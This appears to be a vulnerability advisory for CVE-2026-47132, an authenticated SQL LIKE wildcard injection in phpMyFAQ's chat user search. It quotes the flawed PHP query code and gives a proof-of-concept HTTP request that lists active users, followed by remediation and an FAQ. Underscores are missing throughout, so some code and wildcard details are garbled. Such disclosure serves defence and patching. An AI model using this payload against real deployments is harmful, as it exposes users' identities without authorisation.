CVE-2026-47132: Input Validation
Summary
An authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ’s chat user search allows any logged-in user to bypass the intended display-name search filter and enumerate active users. The endpoint escapes SQL string syntax but does not escape % and , which remain active LIKE wildcards.
### Details
The vulnerable endpoint is: GET /api/chat/users?q=... Source: php // phpmyfaq/src/phpMyFAQ/Controller/Frontend/Api/ChatController.php $query = trim($request->query->get('q', ''));
if (mbstrlen($query) < 2) { return $this->json([ 'success' => true, 'users' => [], ], Response::HTTPOK); }
$chat = new Chat($this->configuration); $users = $chat->searchUsers($query, $this->currentUser->getUserId()); Sink: php // phpmyfaq/src/phpMyFAQ/Chat.php $escapedTerm = $this->configuration->getDb()->escape(mbstrtolower($searchTerm));
$query = sprintf( "SELECT u.userid, ud.displayname FROM %sfaquser u LEFT JOIN %sfaquserdata ud ON u.userid = ud.userid WHERE u.userid != %d AND u.userid > 0 AND LOWER(ud.displayname) LIKE '%%%s%%' AND u.accountstatus = 'active' LIMIT %d", Database::getTablePrefix(), Database::getTablePrefix(), $excludeUserId, $escapedTerm, $limit, ); escape() prevents SQL string breakout, but it does not escape SQL LIKE metacharacters. Therefore, attacker-controlled % and are interpreted by the database as wildcards.
The project already uses a safer pattern elsewhere with ESCAPE '|' and wildcard escaping, but this chat search path does not apply it.
### PoC:
Tested against:
phpMyFAQ 4.2.0-alpha commit c0b7158df4bfb11d57b1ef7d471760583c9c2fae
Prerequisite: attacker has any valid authenticated user account.
1. Ensure there are multiple active users in the database, for example: userId=2 displayName="Alice Finance" userId=3 displayName="Bob Support" userId=4 displayName="Carol Engineering" 2. Send a normal query that should not match any user: GET /api/chat/users?q=zz HTTP/1.1 Host: target Cookie: [authenticated session] Observed response: { "success": true, "users": [] } 3. Send a wildcard query: GET /api/chat/users?q=%25%25 HTTP/1.1 Host: target Cookie: [authenticated session] Observed response: { "success": true, "users": [ { "userId": 2, "displayName": "Alice Finance" }, { "userId": 3, "displayName": "Bob Support" }, { "userId": 4, "displayName": "Carol Engineering" } ] } The same issue is reproducible with wildcards: GET /api/chat/users?q= HTTP/1.1 Host: target Cookie: [authenticated session] Local confirmation was also performed by calling the vulnerable phpMyFAQ\Chat::searchUsers() method directly with seeded users. q=zz returned no users, while q=%% and q= returned active users.
### Impact
This is a SQL LIKE wildcard injection / search filter bypass vulnerability. Any authenticated user can enumerate active user IDs and display names through the chat user search endpoint. This may disclose internal user identities, staff names, department names, or other sensitive account information depending on deployment.
Video PoC:
https://github.com/user-attachments/assets/b684893f-ccb1-42af-9568-50900793076f
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
composer/thorsten/phpmyfaqto a version that resolves this vulnerability.Fixed in 4.2.0-alpha
Event History
Frequently Asked Questions
What is the severity of CVE-2026-47132?
The severity of CVE-2026-47132 is classified as medium with a score of 5.4.
How do I fix CVE-2026-47132?
To fix CVE-2026-47132, update to the latest version of phpMyFAQ that addresses the SQL LIKE wildcard injection vulnerability.
What type of vulnerability is CVE-2026-47132?
CVE-2026-47132 is an authenticated SQL LIKE wildcard injection vulnerability in phpMyFAQ.
What does CVE-2026-47132 allow attackers to do?
CVE-2026-47132 allows logged-in users to bypass the display-name search filter and enumerate active users.
Which software is affected by CVE-2026-47132?
CVE-2026-47132 affects phpMyFAQ, specifically the composer/thorsten/phpmyfaq version.